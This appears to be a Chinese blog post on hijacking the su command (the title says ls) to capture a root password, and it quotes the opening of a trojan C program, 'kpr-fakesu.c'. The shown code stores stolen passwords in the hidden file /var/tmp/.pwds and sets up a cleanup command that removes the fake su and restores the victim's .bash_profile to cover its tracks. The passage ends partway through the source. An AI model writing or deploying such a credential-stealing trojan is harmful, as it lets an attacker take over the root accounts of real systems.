linux劫持ls命令记录root密码

最新推荐文章于 2023-10-31 11:09:33 发布

9ian1i

最新推荐文章于 2023-10-31 11:09:33 发布

阅读量2.4k

点赞数 1

分类专栏： linux kali 文章标签： linux

本文链接：https://blog.csdn.net/yanghuan313/article/details/52390201

版权

本文介绍了如何通过劫持ls命令来记录root密码。当root用户执行ls时，密码会被写入指定文件。这种方法利用了命令劫持的思路，模拟正常登录过程并记录敏感信息。虽然例子简单，但提示了在安全防护上要注意避免此类陷阱。

摘要由CSDN通过智能技术生成

今天学习的时候看到了一个通过劫持su命令获取root密码的例子，我稍稍做一下解释，代码如下：

/* 
* kpr-fakesu.c V0.9beta167 ;P
* by koper <koper@linuxmail.org>
*
* /bin/su sends various failure information depending on the OS ver.
* Please modify the source to make it "fit" ;)
* 
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[]){

FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[100];

sprintf(filex,"/var/tmp/.pwds"); //保存命令 存储密码的文件位置
sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/whyx/.wgetrc /home/whyx/.bash_profile");
// 修改 /home/XXX 为用户的目录  还原用户环境变量文件
if(argc==1) user="root";